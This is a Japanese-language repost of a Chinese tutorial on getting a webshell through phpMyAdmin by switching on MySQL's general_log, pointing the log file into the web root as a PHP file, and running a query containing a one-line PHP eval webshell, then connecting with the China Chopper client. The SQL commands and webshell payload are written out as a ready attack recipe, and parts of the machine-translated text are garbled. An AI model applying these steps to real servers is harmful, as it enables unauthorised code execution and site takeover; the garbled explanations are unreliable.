ホームページ  >  記事  >  データベース  >  phpmyadmin の新しいポスチャ getshell について

phpmyadmin の新しいポスチャ getshell について

藏色散人
藏色散人転載
2020-12-29 17:08:583204ブラウズ

次のコラム phpmyadmin 使用法チュートリアル では、phpmyadmin の新しいポスチャー getshell について紹介します。

phpmyadmin の新しいポスチャ getshell について

Baidu Encyclopedia: phpMyAdmin は、PHP に基づいた MySQL であり、Web サイト ホストのデータベース上で Web ベース モードで構造化されています。管理者が Web インターフェイスを使用して MySQL データベースを管理できるようにする管理ツール。この Web インターフェイスは、特に大量のデータをインポートおよびエクスポートする場合に、複雑な SQL 構文を簡単に入力するためのより良い方法となります。大きな利点の 1 つは、phpMyAdmin は他の PHP プログラムと同様に Web サーバー上で実行されますが、これらのプログラムによって生成された HTML ページをどこでも使用できることです。つまり、MySQL データベースをリモートで管理し、簡単に作成、変更、削除できます。データベースとデータテーブル。 phpMyAdmin を使用して、一般的に使用される PHP 構文を作成し、Web ページを作成するときに必要な SQL 構文の正確さを容易にすることもできます。

平たく言えば、Web ページ上のデータベースを便利に操作する機能です。

サイトの phpmyadmin ページを取得したら、次に行うことは getshell です。

シェルを作成することで権限を昇格できますが、次の条件を満たす必要があります:

1. データベースのルート権限

2. Web サイトの物理パスを知っている

3. データベースには書き込み権限があります。

select '64d8a9f9d2660d1aa18735456c689d78' INTO OUTFILE 'Web サイトの物理パスを通じてシェルに書き込みます。 '

この記事では主に、条件 3 が満たされない場合の getshell の成功について説明します。

利用条件: MySQL 5.0

MySQL 5.0 のバージョンではログファイルが自動的に作成されるため、グローバル変数の変更も同様ですファイルの場所は変更できますが、ログが生成されるディレクトリに対する読み取りおよび書き込み権限が必要です。

(Linux 環境では、サイト ディレクトリが 1 人のユーザーであり、MySQL が別のユーザーであるため、要求がさらに厳しくなる可能性があります。主に権限が適切に構成されているかどうかに応じて、権限の制御がより厳密になります)

まず、サイトに書き込み権限があるかどうかをテストします

SQL ステートメントを実行します SHOW VARIABLES LIKE 'secure_file_priv'

# SQL ステートメント SHOW VARIABLES LIKE 'secure_file_priv' は、クエリを実行して secure_file_priv を検索します

secure-file-priv 機能

secure-file-priv パラメータは、LOAD DATA、SELECT .. を制限するために使用されます。 . OUTFILE および LOAD_FILE() 転送先の指定ディレクトリ。

  • secure_file_priv の値が null の場合、mysql が制限され、インポート/エクスポートが許可されていないことを意味します。

  • secure_file_priv の値が null の場合/tmp/ は、制限が許可されていないことを意味します。mysql のインポート/エクスポートは、/tmp/ ディレクトリでのみ実行できます。

  • secure_file_priv の値に特定の値がない場合、これは、mysql のインポート/エクスポートに制限がないことを意味します

mysql-ini ファイルでプロパティを設定できます

テスト後、書き込み権限がありません

次に、2 つの MySQL グローバル変数 (

general_log、general_log file) を導入します。

    ##一般ログとはログの保存状態を指し、ON/OFFの2つの値があり、ONはオン、OFFはオフを意味します。
  1. 一般ログ ファイルは、ログが保存されるパスを指します。
  2. トロイの木馬という文を mysql ログに書き込み、mysql ログのパスを Web サイトのディレクトリに移動して getshell を実装できます。

SQL ステートメント SHOW VARIABLES LIKE を実行します。 general_log% ' ファジー クエリを実行します

ログはデフォルトで閉じられます

SQL ステートメントを実行します

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

正常に作成されました

#

 然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

以上がphpmyadmin の新しいポスチャ getshell についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。